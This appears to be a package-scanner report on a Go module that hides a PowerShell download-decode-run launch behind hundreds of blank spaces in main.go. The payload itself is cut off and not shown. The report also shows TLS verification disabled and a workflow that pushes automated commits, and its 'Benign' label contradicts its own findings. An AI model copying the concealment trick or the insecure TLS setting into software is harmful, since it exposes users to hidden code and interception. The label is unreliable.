Benign go Download

github.com/kaleidora/dnsub-scanning-tool v0.0.0-20260704073120-c834feb38744

Padded PowerShell launch with download-decode-run commandsGo source hides PowerShell execution-policy bypass

SHA-256d058e903f993f8a4677d9a233286517375fffdf3e4c48f1c6df250697497a275

URLhttps://proxy.golang.org/github.com/kaleidora/dnsub-scanning-tool/@v/v0.0.0-20260704073120-c834feb38744.zip

Evidence

Go hides PowerShell launch behind 500+ blanks main.go · lines 1–8

1package main
2
3import (
4	"os/exec" 
5)
6
7func main() {
8	exec.Command                                                                                                                                                                                                                                                                                                                                                            …

References Actions-provided GITHUB_TOKEN main.yml · lines 1–48

1name: Star
2
3on:
4
push:
  branches:
    - main
⋯6 lines
  runs-on: ubuntu-latest
  steps:
    - uses: actions/checkout@v3
      with:
       persist-credentials: false
⋯24 lines
        rand=$[$RANDOM % ${#arr[@]}]
        
        git commit -m "${arr[$rand]}"
        
    - name: GitHub Push
      uses: ad-m/github-push-action@master

imports crypto/tls httpclient.go · lines 1–22

1package core
2
3import (
4	"crypto/tls"
5	"io/ioutil"
6	"log"
7	"net"
8	"net/http"
9	"regexp"
10	"strings"
11	"time"
12)
13
⋯9 lines

Constructs a Go HTTP client httpclient.go · lines 59–81

59:16… imeout:time.Duration(timeout)* time.Second,
60		//忽略证书校验
61		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},}
62
63	return &HttpClient{client:&http.Client{
64		Transport:transport,
65		Timeout:time.Duration(timeout)*time.Second,
⋯5 lines
71func (client *HttpClient) newRequest(method,target string) *http.Request{
72
73	req,err:=http.NewRequest(http.MethodGet,target,nil)
74
75	if err!=nil{
76		log.Printf("error newrequest:%s\n",err)
77		return nil
78	}
79
80	req.Header.Set("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36")
81	req.Header.Set("C …

imports encoding/csv common.go · lines 1–48

1package common
2
3import (
4	"encoding/csv"
5	"fmt"
6	"io"
7	"math/rand"
8	"os"
9	"path"
10	"strings"
11	"sync"
12	"time"
13)
14
⋯4 lines
19	bytes := []byte(str)
20	result := []byte{}
21	r := rand.New(rand.NewSource(time.Now().UnixNano()))
22	for i := 0; i < l; i++ {
23		result = append(result, bytes[r.Intn(len(bytes))])
24	}
25	return string(result)
⋯4 lines
30
31	lock.Lock()
32	ofs,err:=os.OpenFile(filename,os.O_RDWR|os.O_CREATE|os.O_SYNC,0666)
33
34	if err!=nil{
⋯5 lines
40	defer ofs.Close()
41
42	ofs.Seek(0,io.SeekEnd)
43
44	w:=csv.NewWriter(ofs)
⋯4 lines

No evidence locations were recorded for this file. Raw result